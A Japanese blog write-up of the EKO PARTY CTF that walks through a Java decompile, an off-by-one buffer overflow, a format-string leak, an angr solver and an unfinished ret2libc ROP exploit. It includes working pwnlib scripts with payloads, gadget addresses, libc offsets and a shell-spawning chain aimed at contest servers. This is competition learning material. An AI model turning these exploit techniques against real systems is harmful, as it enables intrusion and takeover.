二日間にかけて参加していました.実は,このEKO PARTYは去年1人で参加していたりしたので,なんとなく懐かしい気持ちもありました.
http://encry1024.hatenablog.com/entry/2015/10/24/091648
実は,縁あってTokyo Westernsの皆さんと参加させていただきました.一応,PwnやRevという立ち位置で参加させていただいたのですが,チーム内最弱なので,なんとか1問解ければいいか(チームの人が強すぎて先越されるという意味もある)と思っていました.
結論から言うと,Pwn25, Pwn100, Rev25, Rev250の合計400点を入れました.チーム総得点は2600の15位でした.後述しますが,Rev250の続きのPwn200が解けなかったのが非常に悔やまれる.以下Writeupです.
JVM(Rev25)
classファイルが渡されるので,jadで以下のようにデコンパイルする.
$ jad EKO.class
生成されたEKO.jadは以下です.
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov. // Jad home page: http://www.geocities.com/kpdus/jad.html // Decompiler options: packimports(3) // Source File Name: EKO.java public class EKO { public EKO() { } public static void main(String args[]) { int i = 0; for(int j = 0; j < 1337; j++) i += j; String s = (new StringBuilder()).append("EKO{").append(i).append("}").toString(); } }
コードよりiがFLAGになるので真似てsolver書く(書くまでもない)だけです.
Ultrababy(Pwn25)
逆アセンブルするとOff-By-OneStackBufferOverflowであることがわかり,1byteのBOF含めた値で関数をcallしている.さらにFlagというFLAG出力用関数があるので,その関数の末尾1byteの0xf3
を敷き詰めてBOFさせてあげればFlag関数が呼ばれる.
require 'pwnlib.rb' host = "9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site" port = 55000 PwnTube.open(host, port) do |tube| payload = [0xf3].pack("C") * 0x19 tube.recv_until("Welcome, give me you best shot\n") tube.sendline(payload) puts tube.recv_until("\n") end
My first service I(Pwn100)
FSBがある,スタックにFLAGっぽい文字列がある.見るだけ.
require 'pwnlib.rb' host = "9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site" port = 35000 PwnTube.open(host, port) do |t| =begin t.recv_until("key: ") t.sendline("AAAA" + "%p "*20) #=> 13 p t.recv_until("\n") =end 8.upto(11) do |x| t.recv_until("key: ") t.sendline("%#{x}$p") print [t.recv_until("\n").match(/: (.+)/)[1].to_i(16)].pack("L*").reverse end puts "" end
Fuckzing reverse(Rev250)
- libget_flag.soがリンクされている
- get_flag関数があるのでこれを呼べれば勝ち
- read(0, buf, 0x12c)する
- 演算処理してだめなら終わりの処理へ飛ばす(je,jne,jleなどなど)
実行しようにもlibget_flag.soがないため実行できない.そこで偽のlibget_flag.soでも用意すれば動くんじゃないかと思い,以下のようなファイルで作成する.
// wei.c void get_flag() { puts("Hello"); }
$ gcc -shared wei.c -fPIC -o libget_flag.so $ set -x LD_LIBRARY_PATH ./
これをすると動いたので,動的解析可能になった. そこで解析していくと前述したように入力値に対して,演算処理して比較する項目が大量にあった.これは手作業だと面倒だなぁと思い,get_flag関数が呼ばれる少し前を見てみると最後の判定処理して飛ぶ部分が0x4039de,さらに1番最初の判定処理して飛ぶ部分が0x400c36だとわかった.どれぐらい判定処理があるのかobjdumpをgrepしたら相当量あった.そこで手作業はやめangrを使うことに決めた. 方針としては,先程のobjdump&grepの結果から判定処理に使われていそうなジャンプ命令のジャンプ先アドレスに行かないようにPATHを絞ってあげて探索した.
# coding: utf-8 import angr p = angr.Project("./FUck_binary") avoid_list = (0x4051b2,0x405176,0x40513a,0x4050fe,0x4050c2,0x405086,0x40504a,0x40500e,0x404fd2,0x404f96,0x404f5a,0x404f1e,0x404ee2,0x404ea6,0x404e6a,0x404e2e,0x404df2,0x404db6,0x404d7a,0x404d3e,0x404d02,0x404cc6,0x404c8a,0x404c4e,0x404c12,0x404bd6,0x404b9a,0x404b5e,0x404b22,0x404ae6,0x404aaa,0x404a6e,0x404a32,0x4049f6,0x4049ba,0x40497e,0x404942,0x404906,0x4048ca,0x40488e,0x404852,0x404816,0x4047da,0x40479e,0x404762,0x404726,0x4046ea,0x4046ae,0x404672,0x404636,0x4045fa,0x4045be,0x404582,0x404546,0x40450a,0x4044ce,0x404492,0x404456,0x40441a,0x4043de,0x4043a2,0x404366,0x40432a,0x4042ee,0x4042b2,0x404276,0x40423a,0x4041fe,0x4041c2,0x404186,0x40414a,0x40410e,0x4040d2,0x404096,0x40405a,0x40401e,0x403fe2,0x403fa6,0x403f6a,0x403f2e,0x403ef2,0x403eb6,0x403e7a,0x403e3e,0x403e02,0x403dc6,0x403d8a,0x403d4e,0x403d12,0x403cd6,0x403c9a,0x403c5e,0x403c22,0x403be6,0x403baa,0x403b6e,0x403b32,0x403af6,0x403aba,0x403a7e) addr_main = p.loader.main_bin.get_symbol('main').addr initial_state = p.factory.blank_state(addr=addr_main) initial_path = p.factory.path(initial_state) pg = p.factory.path_group(initial_path) e = pg.explore(find=0x4039e4, avoid=avoid_list) if len(e.found) > 0: print 'Dump stdin at called get_flag():' s = e.found[0].state f = open("input", "wb") f.write(s.posix.dumps(0))
少し待つとinputにいろいろ値が入ったので,以下のように流し込んだ.
vagrant@alice1000:~/c/e/Fuckzing_reverse$ cat input | ./FUck_binary ASLR: ON Hello, what's your team name? Hello Your flag is Goodbye!fish: Process 23191, “./FUck_binary” “cat input | ./FUck_binary” terminated by signal SIGSEGV (Address boundary error)
この結果より"Hello"が出力されており,get_flag関数が呼ばれていることがわかる.したがって,これをサーバ側に流し込んでFLAGゲット
Fuckzing exploit(Pwn200)
解けなかった問題
Rev250のFLAGを出力した後にmemcpyがあり,__libc_start_mainを上書きし,簡単にripを取ることが出来る.そこでwrite関数でprintfのアドレスをリークして,問題文に描かれているlibcのオフセットを使って,systemと/bin/shのアドレスを求めてret2libcをやったが,ローカルではシェルが取れたものの,リモートではできなかった.そこでone-gadget RCEをやってみたものそれでもうまくいかなかった.この時点で午前3時とかで頭が回らずうなっていたら,申し訳ないことに完全に寝落ちしてしまった.
戒めのためうまく行かなかったexploitを載せておきます.(ソースコードを整え直してないため汚い)
# coding: ascii-8bit require 'pwnlib.rb' # libc version: libc6_2.23-0ubuntu3_amd64 printf_plt = p64(0x400930) write_got = 0x606038 main = 0x400b30 host = "localhost" port = 8888 $libc_sysmte_offset = 0x46590 $libc_bin_sh_offset = 0x17c8c3 if ARGV[0] == "r" host = "7e0a98bb084ec0937553472e7aafcf68ff96baf4.ctf.site" port = 10000 $libc_sysmte_offset = 0x45380 $libc_bin_sh_offset = 0x18c58b end PwnTube.open(host, port) do |t| printf_got = 0x606020 write_got = 0x606038 key = `cat input`.bytes.pack("C*") # to stdout payload = key[0..99] payload << "A" * 40 payload << p64(0x40567a) # pop rbx, rbp, r12, r13, r14, r15 payload << [0, 1, write_got, 8, printf_got, 1, 0x405660].pack("Q*") payload << p64(main) t.sendline(payload) t.recv_until("!") printf = t.recv.unpack("Q")[0].to_i p "0x" + printf.to_s(16) $libc_base = printf - 0x54340 $libc_base = printf - 0x00000000000557b0 if ARGV[0] == "r" p "0x" + $libc_base.to_s(16) end PwnTube.open(host, port) do |t| key = `cat input`.bytes.pack("C*") # to stdout payload = key[0..99] payload << "A" * 40 payload << p64(0x00405683) payload << p64($libc_base + $libc_bin_sh_offset) payload << p64($libc_base + $libc_sysmte_offset) payload = payload.ljust(0x12c, "\x00") t.sendline(payload) t.recv_until("!") t.shell end
感想と反省
EKOPARTYは初心者向けと言われていたので,確かに何問か解くことができて楽しかった.急遽チームメイトと遭遇したりして,一緒にやったりするイベントも発生したり面白かった.
Exploitの共有を促されていたのに寝落ちという非常に最悪なことをしてしまったので,つまったらすぐにチームメイトに助けを求めるべきだった.絶対次は気をつけたい.